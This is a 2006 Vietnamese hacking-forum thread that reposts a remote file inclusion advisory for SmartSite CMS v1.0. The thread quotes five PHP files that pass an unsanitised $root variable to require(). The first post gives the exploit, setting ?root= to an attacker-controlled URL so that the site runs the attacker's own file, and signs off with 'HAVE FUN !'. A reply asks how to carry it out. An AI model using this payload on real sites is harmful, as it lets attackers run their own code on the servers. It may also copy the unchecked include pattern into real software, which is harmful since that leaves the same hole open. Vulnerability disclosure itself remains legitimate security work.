banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thông tin new bugs và exploits smartsite cms v1.0 Remote File include  XML
  [Question]   smartsite cms v1.0 Remote File include 29/06/2006 12:03:59 (+0700) | #1 | 2011
[Avatar]
phamquoc_truong
Elite Member

[Minus]    0    [Plus]
Joined: 04/04/2004 07:54:12
Messages: 79
Location: PeaceWorld
Offline
[Profile] [PM]
Lại là Remote File include. Xem chừng các programmer ngoại cũng lởm khởm ghê smilie

Discovered By CrAsh_oVeR_rIdE
Arabian Security Team
site of script:www.smartsitecms.net

Code:
1-in comment.php :
require($root . "include/inc_foot.php");
---------------------------------------
2-in /admin/comedit.php :
else	
	{
		require('../include/inc_accessfail.php');
	}
	?>
	</div> 
	</div>
	<?php
} 
else {
	require($root . "include/inc_adminfail.php");
}
---------------------------------------
3-in /admin/test.php :
require($root . "include/inc_adminfooter.php");
---------------------------------------
4-in /admin/index.php :
require($root . "admin/include/inc_adminfooter.php");
---------------------------------------
5-in /admin/include/inc_adminfoot.php:
require($root . "include/inc_footer.php");
---------------------------------------


Đến đây đã quá rõ. Chỉ cần ?root=http://mydomain.com và tạo include với file tương tự nhưng nội dung thì . . . smilie


HAVE FUN !
[Up] [Print Copy]
  [Question]   smartsite cms v1.0 Remote File include 07/08/2006 09:26:49 (+0700) | #2 | 12838
ohyesssvn
Member

[Minus]    0    [Plus]
Joined: 24/12/2004 06:31:24
Messages: 3
Offline
[Profile] [PM]
Vấn đề là làm sao đễ root=http://mydomain.com ???????
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|